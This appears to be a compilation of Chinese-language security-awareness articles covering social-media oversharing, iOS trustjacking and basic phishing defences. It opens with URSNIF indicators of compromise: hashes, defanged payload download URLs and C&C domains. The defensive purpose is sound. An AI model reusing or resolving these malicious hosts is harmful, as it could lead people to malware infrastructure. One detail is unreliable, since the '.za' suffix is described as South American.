**6ca2d4dcea456b9d4c87f211ed20bb32f71a0c78ee8059b934162e643d*
**82bee0c249b63f349d212a36f0b9ad90f909017ac734eac133353a1135*
**1f2e12a58cc23f4e6e7f17b8c1a5c50b88614fda103577354b9564f2dff*
检测为*W2KM_POWLOAD.FGAIBT*：
**1db71aec64d0e391a8c99f4f6ee214962a281733643ace0874cf69e284*
检测为*W2KM_POWLOAD.NSFGAIBF*：
**c33d642da477f65c11daa9e8098b9917c4c5a6f131dd1369a20cb1b14*
**398e677290b1db00d8751c3498847ad9c7d10721630175d2506c4d45*
**813a08d3b2216c89d42e8225c6de760d785905d1c76bd7428201d68c*
检测为*W2KM_POWLOAD.THIACAH*：

*5aed7d6a3e8692143e53f9556cd3aa371149c96b91c02d1c659cb58d8
下载的***URSNIF*** 检测为*TSPY_URSNIF.THAOOCAH*：
*0a38d92775cfc7182076d9a21c4937149ea8be6ebf22b9530afbca57d6
可执行文件***Payload*** 检测为*TrojanSpy.Win32.URSNIF.BAIEF*：
*358bd52ac46755b1c6fa73805a7a355450f85f4bcf1b2e798a04960743
检测为*TSPY_URSNIF.THAOOCAH*：
*e8633f2f2b6b0b8f7348b4660e325ab25b87ec8faa40fb49eb0215b31bd
检测为*TSPY_URSNIF.BAIEB*：
*f92ba10fe245c00575ae8031d4c721fe0ebb0820a4f45f3bbce02654a6e
下载***URL*** *hxxp:*t95dfesc2mo5jr[.]com/RTT/opanskot[.]php?l=targa2[.]tkn

- hxxp:*enduuyyhgeetyasd[.]com/RTT/opanskot[.]php?l=omg8[.]tkn* *hxxp:*q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa4[.]tkn
- hxxp:*2dhtsif1a8jhyb[.]com/RTT/opanskot[.]php?l=okb1[.]tkn* *hxxp:*yrtw1djmj6eth7[.]com/RTT/opanskot[.]php?l=okb7[.]tkn
- hxxp:*popoasdzxcqe[.]com/YUY/huonasdh[.]php?l=rgr7[.]tkn* *hxxp:*q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa2[.]tkn
- hxxp:*e3u1oz4an1dqmj[.]com/RTT/opanskot[.]php?l=okb9[.]tkn* *hxxp:*popoasdzxcqe[.]com/YUY/huonasdh[.]php?l=rgr3[.]tkn
- hxxp:*2dhtsif1a8jhyb[.]com/RTT/opanskot[.]php?l=okb5[.]tkn* *hxxp:*hbhbasdqweb[.]com/YUY/huonasdh[.]php?l=rgr4[.]tkn
- hxxp:*q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa4[.]tkn*

C&C 服务器 *app[.]kartop[.]at *doc[.]dicin[.]at *doc[.]avitoon[.]at *app[.]avitoon[.]at *ops[.]twidix[.]at *xx[.]go10og[.]at *api[.]kartop[.]at *m1[.]fofon[.]at *cdn[.]kartop[.]at *api[.]tylron[.]at *chat[.]twidix[.]at *api[.]kaonok[.]at *chat[.]jimden[.]at *mahono[.]cn* 趋势科技 *XGen*™安全性提供跨代混合的威胁防御技术，以保护系统免受各种类型的威胁，包括勒索软件和加密货币挖掘恶意软件。在网关和端点上具有高保真的机器学习功能，可以保护物理、虚拟和云工作负载。借助 *Web / URL* 过滤，行为分析和自定义沙盒等功能，*XGen* 安全可以抵御当今绕过传统控制的威胁，利用已知、未知或未公开的漏洞，窃取或加密个人身份数据、或进行恶意加密货币挖掘的威胁。■ 原文

玩社交媒体应该非常警惕 - iYouPort

你的反乌托邦在线生活阴云密布自我保护措施-技术技巧以防身

我们多次强调过：不要参与社交网络上流行的测试小游戏。它们很可能是陷阱。但是那些测试结果的页面依旧在刷屏。人们真的需要教训才能学到保护意识吗？那样会不会太晚了？

我们都在微信和 Facebook 上看到过那种东西，甚至可能自己也做过：病毒式传播的社交媒体测试游戏。其内容都是一些人们可能不了解的关于你的有趣事实甚至内心所想。

虽然它们看起来很无辜，但是，这些社交媒体测验完全可以让你成为攻击者的十字准线，包括现实攻击和在线攻击。它们是敏感数据过度共享的一个典型例子，随着社交媒体的出现，这类数据的暴露越来越猖獗。

更多请查看：《哪些话你永远不应该在社交网络上说？》

过度分享不仅限于那些测验小游戏或趋势。在某些情况下，公开发布假期、家庭、个人身份信息（PII）或您的实际位置，都极其可能会使您面临风险。

大多数人都知道不应该发布自己的信用卡照片、或者披露敏感的财务信息登录凭证，但是，依旧有很多人会在社交媒体上发布自己的电话号码、家庭住址等等。毕竟，网络鼓励用户填写他们的个人资料中的每个可能字段，包括一些非常敏感的字段。这是尤其危险的。

攻击者可以通过三种主要方式使用此数据：

暴力破解密码——

攻击者会查找可用于猜测密码的任何信息。通常情况下，这些信息甚至并不需要太多。2016 年最常用的密码是“123456”，紧跟的就是“123456789”。攻击者可以简单地尝试前25个最常用的密码，并在50％的时间内成功。

密码通常只是稍微复杂一点，宠物的名字或街道名称与“123”配对。攻击者使用自动化工具来测试关键词组合—您可能在社交网络个人资料中找到人们心甘情愿披露的内容—快速猜测到成千上万的密码组合。

攻击者还使用通过过度共享收集的数据来猜测安全问题，并以这种方式入侵帐户。安全问题通常都包括你的第一只宠物的名字，你长大的街道名字，你高中时的吉祥物，你最喜欢的作家或你的童年英雄等等。它们听起来就像病毒式的社交媒体测验问题，不是吗？

社交工程攻击——

您在社交媒体上发布的任何信息都可能被攻击者用于制作社交工程攻击。有了您的个人信息，攻击者就可以为您定制看似合法的钓鱼邮件。

例如，如果一个攻击者知道你去过 Radiohead 的音乐会，那么钓鱼消息就是：“你看过 Radiohead 最新的主打歌曲吗？今天刚刚放出！“将有更高的成功机会。攻击者利用这种策略将用户引诱到网络钓鱼页面和恶意软件上。

还可以使用虚假帐户冒充你认识的人，或者更好的是，你的联系人的真实帐户被劫持，该消息将更加有效。对于攻击者来说，这些都是额外的好处。

- 详见演示：《⚠ 大型网络钓鱼攻击活动专门针对注重隐私的用户，成功绕过双因素身份验证》
- 《⚠ 渔艺正在升级：URSNIF 恶意软件新变种通过回复邮件即可实现传播》
- 《“缴钱不杀”！恶意行为者如何行动：剖析 sextortion 骗局》
- 《远离诱饵!警惕 7 大最常见的网络钓鱼主题行》

物理盗窃——

人们喜欢张贴他们度假的照片。如果攻击者知道您居住的地方——在社交媒体时代能轻松搞到这样的信息，特别是如果您在自己的个人资料中列出了、或者启用了帖子的地理位置、或者曾经在您家中或周围拍摄的照片，使用OSINT定位法—— 攻击者就可以利用它们得到想要的任何信息。

我们并不是主张你完全停止在社交媒体上发帖。相反，要小心你所分

享的内容，并在将这些信息传播到社交媒体的公共论坛之前，先考虑一下潜在的后果。

尤其是以下内容：

- 小心社交媒体测验，最好不要参与任何测试小游戏—— 那些游戏总是在调动人们的超个人主义情绪和自我优越感，比如“你是三国里哪位人物？”，或者“你最合适的女朋友是什么样的人？”等等，而需要你填写的那些问题往往完全无法得出测试游戏标榜的目的。正相反，你一定会想要知道正确答案，于是填写的内容基本都是真实的，这些数据将被卖给你完全不可能知道是什么东西的买家。其中就包括社交工程师。
- 即使网络鼓励您完成问答式的填写，也不要在您的个人资料中披露任何敏感信息。包括电话号码，地址，生日等等。如果必需填，那就写假的。
- 发布任何照片前请审核一下图像中的内容。你能在桌子上看到你的信用卡吗？您的重要地址门牌号、路牌是否能在后面可见？如果有，切勿发布在网上。
- 谨防欺诈，例如通过非官方网站分发的优惠券和促销活动。
- 诈骗网站通常缺少 SSL（或TLS）网站证书，这几乎是每个网站的标准，特别是那些要求凭据或信用卡信息的网站。这一直是一种方法，通过这种方法，消费者可以确信该网站是合法和安全的，如“https”标识所示，并且许多浏览器不以绿色显示。如果该站点没有 SSL／TLS 网站证书且未加密您的信息，则该站点可能并不安全，不要信任。
- 确保在社交媒体帐户可用时启用双因素身份验证。如果恶意页面窃取您的凭据，这又提供了另一个保护屏障。现在，许多社交网络都需要在检测到尝试访问您帐户的新浏览器或设备时将验证代码发送到您的手机或电子邮件。但是手机验证明显是不安全的。
- 谨防社交媒体上的链接。将鼠标悬停在它们上方以获得预览，并仔细查看模仿网址和其他相似的字符。如有疑问，请将链接复制到免费分析工具，如 "VirusTotal"。
- 如果有人提示您下载并安装应用程序或文件，请保持清醒。移动应用程序只能从规范的应用程序商店下载，任何其他应用程序都不应受信任。
- 确保您的防病毒软件在您的设备上保持最新，无论是PC，Mac还是移动设备。
- 你关注什么人一定要谨慎。关注可疑账户会增加您遭受社交媒体诈骗的机会，即使是良性账户也可能被诈骗者劫持或出售给

诈骗者！我们已经多次发现疑似 troll 与著名异议人士的关联紧密，这是非常危险的。
- 即使经过验证的连接关系也有可能会向您发送可疑的内容，也请不要点击，因为他们的帐户可能已被黑客入侵。请通过其他渠道与他们联系，以验证邮件是否合法。
- 总之，在社交媒体上小心点击！如果看起来很可疑，那可能就是。见这篇，关于盗取名人账户进行诈骗的调查案例《演示：对 Elon Musk Bitcoin 诈骗的开源调查》

如果所有链接都不点击，您显然已经失去了大多获得知识和资讯的机会。事实上您完全可以随意点击查看内容，而不会被恶意侵犯，具体做法详见《如何隔离危险》。

All Those Innocuous Social Media Quizzes are Hacker Goldmines: all be careful what you click on social media! If it looks suspicious, it probably is.

原文

盲目信任会让你成为被攻击对象 - iYouPort

自我保护措施-技术技巧以防身

一旦用户授权使用设备，手机与攻击者连接到同一个 Wi-Fi 网络，就有可能会面对严重和持续的攻击，甚至能在手机和电脑切断联系后发生远程攻击

「图」

「图」

你有没有使用朋友的笔记本电脑给自己的 iPhone 充过电？你会得到一个提示：“相信这台电脑？”如果回答是，计算机将能够在连接时访问您的手机设置和数据。你可能不觉得这有什么要紧。但赛门铁克的研究人员警告说，这个看似微不足道的决定比你想象的要严重得多。

赛门铁克团队发现，利用你错误施予的“信任”，黑客就能实施一整套他们称之为“信任劫持”的 iOS 攻击。一旦用户授权使用设备，手机与攻击者连接到同一个 Wi-Fi 网络，就有可能会面对严重和持续的攻击，甚至能在手机和电脑切断联系后发生远程攻击。

赛门铁克现代操作系统安全高级副总裁 Adi Sharabani 和现代操作系统研究小组负责人 Roy Iarchy 将于周三在旧金山举行的 RSA 安全大会上发表演讲。

“一旦这种信任建立起来，一切皆有可能，它引入了一种新的攻击媒介。” Sharabani 说。

Sharabani 和 Iarchy 的演讲主要集中在一项名为 iTunes Wi-Fi Sync 的功能上，该功能可让 iOS 设备通过 Wi-Fi 与桌面 iTunes 同步。于此过程，您只需将移动设备连接到计算机一次，请指出 iOS 设备可以信任该计算机，然后从 PC 启用 iTunes Wi-Fi 同步。之后，只要两个设备在同一 Wi-Fi 网络上就可以进行同步和通信，无需 iPhone 或 iPad 的进一步批准。

看起来像是个合理且有用的功能。但是攻击者有可能安置一台恶意计算机（可能看起来像个充电站或外部电池）的计算机，并诱骗人们连接他们的设备，让其欣然被信任。

一旦建立了被信任的 Wi-Fi 同步连接，攻击者不仅可以进行基本的同步，还可以操纵受害 iOS 设备的控件。攻击者可以迅速在手机上安装恶意软件，或启动备份来收集受害者照片，应用程序信息和 SMS / iMessage 聊天等数据。具有信任特权的攻击者也可以通过在手机上启动屏幕截图功能实时查看目标设备的屏幕，然后将其同步到攻击计算机。或者他们可以打一场持久战，默默地保留自己的信任状态，直到长时间后被受害人遗忘，以备未来发起进攻。

“Roy 正在研究，他将自己的 iPhone 连接到他自己的电脑上进行访问，但无意中想到它并没有真正连接到自己的手机上。电脑曾与他的一个团队成员的电话连接，他们几周前将移动设备接到了 Roy 的桌面。于是 Roy 开始思考自己能做点什么，假设自己是一个攻击者”。

你可以想象一些可以成为针对性攻击的场景。每个人都有经常去的地方：办公室，咖啡店，当地图书馆。攻击者可以预料，受害 iOS 设备将定期连接到与受信任的攻击者计算机相同的 Wi-Fi 网络 – 可通过 iTunes Wi-Fi Sync 进行秘密恶意备份。研究人员指出，攻击者不一定会受到地理限制; 在获得立足点后，他们可以将 trustjacking 与一种称为“恶意配置文件”的攻击结合起来，该攻击利用 iOS 管理应用程序的配置包以避开访问限制，建立连续的远程访问。不过，从 iOS 10 开始，这种恶意配置文件攻击就不太容易了。

这里很有可能得把责任推给 iPhone 的拥有者; 毕竟，你不应该连接到不熟悉的电脑，还选择了“信任”。苹果拒绝就此事发表评论，似乎是同意这一观点。当 Sharabani 和 Iarchy 向公司披露他们的调查结果时，在 iOS 11 中添加了第二个提示，要求设备输入密码作为授权新计算机信任的一部分。这就使设备所有者以外的任何人都难以建立信任。

但是 Sharabani 和 Iarchy 认为，完全让用户做出关于信任设备的正确选择是不合理的，特别是因为授权一旦建立就会无限期地持续下去。目前还无法查看具有突出信任状态的设备列表。

还有，在这一过程中 iOS 的措辞根本起不到提示作用。提示说：“信任这台计算机？当连接时，您的设置和数据将从这台计算机上访问”，这似乎意味着当设备不再物理连接时，什么都不会暴露。这不是事实。鉴于 Wi-Fi 同步可以在没有任何移动设备参与的情况下在桌

面 iTunes 中启用，与用户可能意识到的状况相比有天壤之别。

另外也要考虑到，用恶意软件成功感染目标 PC 的攻击者可以利用受害者授予他自己的计算机的信任。用户显然会信任他们自己的电脑，而他们的电话和 PC 经常会在同一个 Wi-Fi 网络上。因此，一个攻击目标计算机的攻击者也可以获得一个可以定期访问受害者的 iOS 设备的二合一攻击机会。

“苹果公司采取了快速添加密码的行为，”Sharabani 指出，“就是说，这是一个设计问题。他们将来会有更好的设计，但这需要时间。这就是为什么提醒用户提高安全意识是很重要的，用户应该了解其中的含义”。

Sharabani 和 Iarchy 说，他们迄今为止还没有看到野蛮信任攻击，但这并不意味着它们现在不在场或未来不会发生。尽管 Apple 没有提供 iOS 设备所信任的计算机列表，但可以完全清理出可信计算机列表。在 iOS 11 中，用户可以转到 设置」常规」重置」重置位置和隐私 以获得干净的面板，之后人们可以开始更好的认识他们授权的计算机。（请注意，执行此重置操作也会撤销所有已被特别授予的应用程序权限）

对于用户来说另一个有用的防御措施是使用强密码加密 iOS 设备备份，打开此功能后，滥用 Wi-Fi Sync 的攻击者仍然可以自行备份受害设备，但数据已经加密了。

研究人员将 iOS 的授权提示视为单点故障，操作系统可以提供更多的提示来换取更多的对信任劫持的防范。没人想看到一个微不足道的错误在几个月后变成一个大坑。但是，当用户等待苹果公司构建长期解决方案时，他们最好的防御就是变得敏锐并且能非常有选择性地放弃“信任”。

原文

移除你的绵羊墙：给普通人的5个防御课程 - iyouport

自我保护措施-技术技巧以防身

【2019年7月24日存档】学校和真实生活之间的一个重要区别在于：学校先教你知识然后考试，生活则是先考试再教你知识。

就如我们一直所强调的，安全不是一个人能独自完成的工作。确保您的周边朋友/社区/团队/组织中所有人都具备足够的安全意识和防护能力，您才能做到安全。因为《一个人的疏忽将拖累所有人陷入危险》

于是基础知识培训是非常重要的。我们知道很多人在询问相关知识，并且很积极地向自己周围的朋友推荐，这非常好；敏感人士社区和组织内部也做了一些安全知识辅导。但我们也发现，其中有一些安全培训是不充分的甚至其建议是不恰当的，有可能起到相反作用。

IYP 菜单的“How To Win”部分有很多知识推荐，可以用来在所在社区中为周边人介绍。不过培训和介绍知识还不完全是一码事，培训需要的技巧更多，尤其是思考方式的训练，非常重要，详见《基本的防御性思考方式》。

曾经我们发布过的文章比较分散，本文将基本层面上的内容综合一下，介绍五个基础的培训课程，并介绍一些较为常见的错误建议。如果您还有遇到过其他错误建议、或者您在培训方面有更多经验，欢迎留言讨论。

根据前面我们发布过的诸多文章，您现在应该已经了解到了关于社交工程攻击和钓鱼的基本知识，关于您是如何中招的、攻击者是如何思考的、技术社区如何协助活动家增强安防……等等，现在是时候进行自我保护了。如果您还没能获得技术专家的协助，自己也可以完成基本部分。

本文更多是给普通人的。“专业”和“普通”之间有不小的差异。如果您身边没有专业全职的技术人员可以随叫随到，本文将适合您，不论您从事什么职业、持有什么政治观点、是否属于少数族裔或边缘群体，等等，都无所谓，只要您还在使用互联网，这些知识就是必需掌握的，否则就会变成众矢之的。

本文还会有一面绵羊墙 wall of sheep。如果您不是技术人士可能对这个词还不太熟悉，它来自于 DEF CON，全球最大的黑客会议之一。在每年的 DEF CON 上，运作绵羊墙的人都会把在会场上连接到未知网络的“绵羊”们的账号密码公布在上面。为什么要这样做？他们希望能借此提高人们的安全意识，告诉人们抓取这些信息有多么容易。

下面分别介绍5个防御课程。

—— 第一课：批判性思维 ——

「图」

- 类别：普通和专业

很多时候人们会把批判性思维和逆反、缺乏信仰或者为了质疑而质疑，混淆在一起，但这不是批判性思维真正的定义。

在本文的主题里，批判性思维指的是：告诫自己不要事事都信以为真；不要以为没时间评估、压力太大来不及思考就将信息理解为真实。只需要稍稍停下来想一下，就能避免杏仁核劫持发生的决策错误。问自己下面这些问题：

- 这封邮件/短信/留言真的来自我认识的人吗？
- 我预料到会收获这样一条信息吗？
- 信息中含带的请求合理吗？符合我认识的那个人的性格习惯吗？
- 这条消息是否在试图唤起某种情绪，比如恐惧、贪婪、强大的好奇心，或者最重要的 —— 它是否试图让我做点什么？

只需要两三秒钟想想上面这些问题，就能帮你更好地识别钓鱼攻击。将上述问题运用到下面的课程中，并且你会发现，在识别真正的威胁时，思考和不思考上述问题的区别非常大。

攻击者是如何绕过防御的 ——

攻击者不希望你思考，尤其不希望你进行批判性思考。他们会利用情绪阻止你进行批判性思考，唤起你的恐惧、忧伤、愤怒，迫使你采取不该采取的行动。这是社交工程的一个最基本的模式；民粹政客使用的就是这样的模式。

防御办法很简单，停下来几秒钟就可以做到，先放下它去读点别的东西，你的杏仁核就又属于你了。

—— 第二课：学会悬停 ——

「图」

- 类别：普通和专业

想象你坐在家里或办公室里，然后收到下面这样的邮件，你会是什么样的感觉？

你可能会开始想："不能让我的UPS包裹出问题，最好检查一下"。或者，你并没有UPS账号，但也会惊慌："谁用我的名字建立了一个UPS账户？"

还记得著名流亡异议人士 **Omar Abdulaziz** 是如何被间谍软件攻击以至于害死了他最好的朋友华盛顿邮报专栏作家 **Jamal Khashoggi** 吗？在这里看到《当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》。

不管是上述哪种情况，恐惧和好奇都会让你去点击那个链接。这封邮件有正确的标识，看起来很正式，甚至可能和你收到的任何USP邮件都十分相似。这些细节使得你相信这是一封真实的邮件。

幸运的是，只要您读过我们曾经发布的相关文章就能知道，这有可能是一个精心设计的恶意邮件，目的是让你下载恶意软件、泄露信息、悄悄控制你的设备。

你需要做的只是把鼠标悬停在链接上，只是悬停就可以，不要点击！看看会发生什么，类似于下图这样：

具体到人的情况也许不同，但是如果你在美国，你就会产生怀疑："为什么USP会把我的账户信息存在一个南美的服务器里？" —— 后缀".za"表明了这一点。

因为悬停就可以反应出URL地址，而这个地址并不像USP，所以这是钓鱼邮件。现在看内容。

这封邮件的意思很含糊，你甚至都无法如实回答第一个问题；你没有期望或请求这封邮件，而URL指向一个完全不同的网站。那就马上删除它。

但请记住，有些情况下，高明的攻击者可以阻止悬停，所以当你点击前要再次确定地址栏中的地址，以确保你访问的是一个合法地址。

虚拟机是再好不过的了，隔离危险的最佳选项，具体方法详见《系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去》不过这只能防止一般性的攻击。后面有更多介绍。

点击了链接后才感觉到危险怎么办？——

不幸的是这种情况的确会发生。如果你是公司员工，可以反应给技术部门，可以节省很多时间；如果你是私人、个体活动家，我们介绍过如何求助，详见《我的设备好像被黑了怎么办？—— 给敏感人士和小白朋友的数字急救包》。

如果你当时任何人都联系不了那该怎么办？首先，回想一下当你点击链接后网站向你发出了什么请求；你被要提供账户信息吗？被要求输入账户名密码？或者被要求下载一个文件、安装一个程序？

如果你输入了账户名密码，那就要立刻确认是否在其他地方也使用了相同的账户名密码；找到同样的部分，立刻修改它们。

如果邮件中提到了某个公司的账户，而且你输入了网站，那么就给那家公司打电话，告诉他们你可能把你的账户信息告诉了某个恶意组织，让公司修改你的账户信息以保护你的安全。

如果你装了那封邮件中要求你安装的程序，就要立刻清理电脑，并在另一台安全的设备上修绝大多数账户名和密码。

我不可能知道你中了哪种病毒，所以无法说明接下来应该做什么；如果你不知道该如何处理病毒，所在社区也没有专业技术服务和联盟的话，就联系这篇文章中提到的组织。

不要惊慌，但并非不要紧张；要尽快采取行动才行；而惊慌会让事情变得更糟。深呼吸回想一切可以止损的方法。

攻击者是如何绕过防御的 ——

攻击者会意识到潜在的受害者受过一些训练，比如知道如何悬停以验证；很多邮件服务也会检查URL是否和文本中显示的不同。攻击者可能会购买相近的域名来掩饰他们用来攻击的真实域名。

比如这样「secure-你的银行.com」域名，而你在这个链接上悬停，你会看到“正确“的域名，也许就会信以为真。这个时候批判性思考就要起作用：想想看你的银行是从这个域名给你发邮件的吗？如果有所怀疑，那就要检查一下。

其他攻击者会用注册过的证书来使得网站看起来合法和安全，并且攻击者确实拥有这些证书。这些证书可能会以狡猾的方式命名，比如 trusted、secure 等等，让你以为它是安全的。

另外，攻击者会攻击全球范围内真实的服务器，并用合法服务器发送钓鱼邮件。通常攻击者会获取这些设备上的邮件地址，然后利用这些邮件地址来联系第一批受害人。

所以，始终记得要点击前三思 + 虚拟机 + 谨慎输入信息。

—— 第三课：**URL**解析 ——

「图」

- 分类：普通和专业

本节不是写给专业人士的，如果您有技术基础，那就跳过它。

URL 有几个组成部分：协议、子域名、域名、顶级域名、文件地址、资源。

为什么理解URL很重要？因为很多钓鱼攻击就是利用你的认识不足来欺骗你的。比如，我声称来自微软，并希望你下载一个名为 file.txt 的文件，那么你能识别下面这些网址中哪些属于微软，哪些是潜在的威胁吗？

- http:// microsoft. com/ file. txt
- http:// secure-microsoft. com/ file. txt
- https:// secure. microsoft. com/ file. txt
- http:// microsoft. com/ secure/ file. txt

- http:// rnicrosoft. com/ file. txt

第一个网址是合法的，虽然缺少了www，但它确实指向真实的微软网址。

要小心对付第二个，它可能不属于微软，secure-microsoft 中的“-” 表示它和微软域名完全不同。

第三个是安全的。它属于合法公司，而且位于https。secure 子域名隶属于微软的域名。而第二个网址则试图伪装成一个安全网址，但实际上使用了“-”而不是“.”来分割地址。“.”意味着该子域名属于主域名，而“-”指向一个全新的域名，因此第二个网址是不可信的。

第四个网址也是合法的，只是位于下一级域名。

第五个很有迷惑性，那不是 m 而是 rn，如果靠得足够紧，一马虎就容易看错。这类东西特别多，比如大写的“I”和数字“1”的混淆，等等。

当然，恶意攻击者还有很多诱使受害者点击链接的手段，这也是为什么学习URL很重要。即使是有经验的安全专家也有可能犯错，但是相关培训肯定能帮您和您的团队/组织减少风险。

攻击者是如何绕过防御的 ——

和前面描述的悬停一样的，攻击者可以购买一些看起来合法的域名。这些域名与真实域名越是相近，你就越容易相信它是真的。

再次强调，secure-DOMAIN.com 是一个完全不同于 DOMAIN.com 的新域名，但如果它是一个合法的名称结尾，很多人会误以为它是合法网址。

同样，攻击者会攻击全球服务器，然后利用这些合法服务器来发送钓鱼邮件。这类攻击是非常危险的，也很难检测。

运用批判性思维，点击之前停下来想一想，以及问自己一些分析性问题，都可以帮你从容应对。如果你不小心采取了错误的方法，请尽快联系这里列出的组织和本地技术团队。

—— 第四课：分析邮件头 ——

「图」

- 分类：专业

由于有大量的邮件服务商存在，我无法告诉你如何定位每一家服务商的邮件头，但我可以告诉你它们是什么，以及你可以如何利用它们。

在选定的搜索引擎中输入 Email headers in 「服务商名称」来弄清楚你自己的服务商的邮件头。

这就像是GPS。你来到我家，我可以查看你的行程历史记录来确定你走的是哪条路线。如果你告诉我你走的是第一条路线，但是GPS显示你花了大量时间在第二条路线上，那么我就知道你迷路了。

邮件头与此类次，它们可以告知你邮件是如何到达你的邮箱的。看下面这个例子。这封邮件声称来自达美航空公司（Delta Airlines），并说收件人的航空里程账户有异常情况。

如何你感到困惑，请尝试拆分邮件头，如下表所示，这样能看得清楚一些：

- SPF是 Sender Policy Framework（发送方策略框架），是一种以 IP地址认证电子邮件发件人身份的技术，被用来识别垃圾邮件；“退订信息”是指服务器提供给用户用来快速退订邮件的按钮的字段。

可以清楚看到这封邮件被发往了正确的地址，回信地址和回复人都清楚地指向了 delta.com 我们也可以在域名签名和信息ID上看到 delta.com。这表明邮件是来自它所声称的合法地址，也意味着它是可信的。

如果检查邮件头中的域名和邮件中的域名毫不相干；回信地址和认证结果也与其声称的无关，那么就可以肯定不受信任。

攻击者是如何绕过防御的 ——

检查邮件头就可以确保安全吗？不会。有些钓鱼邮件攻击附带一个目的：对网络进行渗透，然后获取使用 **SMTP** 服务器的权限。为什么要这样做？

你曾经收到过来自自己朋友的邮件，却发现是一封非法邮件吗？这种情况可能已经不罕见了，而且短信也可以做到篡改发信人，在这里看到《你收到的是朋友发来的消息？那可不一定！小心新骗局》

正如我们在上篇文章中所解释的，朋友是最容易对我们形成影响的人，在这里看到《如何将另一个人变成你想要的样子？》。攻击者当然非常清楚这个道理，让你信任一封邮件中的附件、链接或者文件，没有比伪装成你的朋友更好的办法了。

攻击者会使用任何方法获得你朋友的设备的访问权限，用所有好友和收件箱中的联系人随机分发恶意邮件。这种时候检查邮件头是没用的。

批判性思考非常必要，并且，你需要对自己的朋友（那个发件人真身）有足够的了解，尤其是，你应该和注重安全也懂安全技巧的人交朋友。否则，*一个*疏忽大意的人就有可能会害了你们关系网中的*一大群人*。

—— 第五课：沙盒 ——

「图」

- 分类：专业

沙盒就是指创建一个可以运行未经测试或者不受信任的代码的环境，这些代码可以包括病毒和恶意软件。用户想要在自己的系统或网络中使用它们之前，可以拥有的一个几乎对主机没有任何影响的环境，在这里测试这些代码。这个概念非常简单，就像下面这样：

这是最简单的方法。您无需懂技术也能在理论上轻松避免被攻击。在这里看到具体操作方法《系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去》；《妈妈说，操作安全永远不能被忽视—匿名工具：小白级指南》但是这不代表万无一失！

沙盒是技术问题，单纯的技术无法解决基于人性弱点的社交工程攻击。

攻击者是如何绕过防御的 ——

曾经有一个这样的案例，关于附件中附带某种来源于一个叫 Quarian 的组织的恶意软件，这种恶意软件能伪装成PDF、DOC或者XLS文件，而且此后该恶意软件还升级了，新版本包含了一些需要被注意的功能：

- 它自动安装称成一个 Windows 服务，不再只是一个运行程

序；
- 它通过运行一系列命令连接到国外服务器下载有效荷载；
- 尤其是，⚠它依赖 **AppleID** 或者命令行交互，因此它不会被沙盒检测到。

并且不止这些。通过虚拟机直接感染主机的恶意软件也不是没有。（所以，显然 Whonix 的思路是更好的，即便恶意软件穿透了一个虚拟机，它也透不过第二个）

没错，攻击者一直在变得更加聪明，因为他们整天琢磨这些事；安全防御技术需要不断更新才能跟上这一进度。作为培训师你应该首先和你的服务对象讲清楚 —— 昨天提供的方案今天失效了并不意味着昨天在骗人、更不意味着安全防御是令人焦虑的和无用的，正相反，这只是在提醒人们持续保持警惕的必要性，学习不是几堂课的任务。

⚠谨记一条规则：仅仅依靠技术并不能让你免于社交工程攻击。

—— 坏主意陷阱：移除你的绵羊墙 ——

「图」

鉴于威胁的无处不在，人们一直在纷纷想办法解决问题，不断向自己所属的组织、社区和合作团队推荐方法。其中有一些甚至有希望成功，但是应该被归为“坏主意”。

下面是一些曾经被很多使用过的坏主意，分析下他们为什么弊大于利。

1、“复制粘贴，解决麻烦”

这甚至是来自一场正规的安全培训中传授的方法；当时讲师表示：“如果你不确定你接收到的链接是否安全，那么复制粘贴到浏览器的地址栏中”……

这是史上最糟糕的建议。如果你收到一封钓鱼邮件，里面附有一个链接 www. superbadhackingsitethatwillruinyourlife. com，你选中它，然后复制、粘贴，那么你猜你会进入哪个页面？没错 —— 你仍然访问的是 www. superbadhackingsitethatwillruinyourlife. com。

你也许会说，如果URL看起来像是 www.microsoft.com 而它指向的是一个恶意网站，那么复制粘贴不就会失效了吗？

是的，技术上来说，如果你让你的用户只是复制那段文本，那么他们将会访问的就是那个文本所示的网站。但是如果用户误点了那个链接而不是复制，或者错误的选择了右键复制而不是选中复制，或者两者全做了，他们仍然会访问一个恶意网站，并且可能直接被感染。

所以，培训师应该告诉用户，不要碰那个链接，离它远一点；除非你非常熟悉如何解码URL，否则不要试着分析它。

2、“分享也是关照”

另外一个馊主意是这样的：“我刚收到了一封钓鱼邮件，我认为可能是钓鱼邮件，我把它转发给最懂电脑的五个朋友，这样他们就能告诉我这是不是钓鱼邮件了”……

如果你这么做了，其结果就是你把一个带有潜在危险的恶意邮件转发给了五个人。如果这些朋友和你在同一家公司/同一个组织工作，那么你就是在该组织/公司内部扩散了潜在威胁；如果这些朋友在其他公司/组织工作，那么你的做法就是在传播病毒，是在帮助社交工程攻击者完成目标。

或者更形象一些，换个说法：“如果我怀疑自己感冒了，那就找五个朋友去他们面前咳嗽，如果他们也感冒了，那么我就可以确定我感冒了”。

有一个渗透测试是这样的，USB密钥遗失测试。在USB密钥中放置一个PDF文件，这个文件的功能是“给家里打电话”。它连接到测试者服务器后会连接到一个 Metasploit4，并给测试者一个远程shell。这个PDF文件被命名为“员工奖金” EmployeeBonuses。

测试者将这个USB放置在预先约定好的地方。等他们返回办公室的时候已经有7个shell的。这7个shell来自人事部门、IT部门、以及同一个部门的其他地方。很惊人吧。究竟发生了什么？

其实很简单。第一个人试着打开 EmployeeBonuses.PDF 文件时文件崩溃了。于是他就拿着这个USB去了人事部门，找一位更高明的朋友帮忙；当然，在第二个人那里也崩溃了，于是他俩就跑去IT部门找人帮忙。IT部门在第三台电脑上试着打开它……

这些人在试图打开一个文件，看看他们的奖金发生了什么，就这么一个简单的过程结果是把这个东西传到了整个公司。

在这种情况下，分享并非是一种“关照”，而是伤害。可疑的钓鱼邮件

也是如此。

3、“好的反病毒软件能拯救你”

反病毒软件是为阻止病毒的。病毒有自己的签名 —— 这是病毒内存在的一系列指纹作用的代码。就像你的指纹可以用来识别你的身份那样，病毒的指纹也可以用来识别病毒。

这些病毒的指纹被放进了反病毒软件的数据库中，然后反病毒软件就可以对你的电脑进行扫描；如果发现了某个网页、文件、文件夹或者程序有这些指纹，就会清除它，以确保它不做进一步破坏。

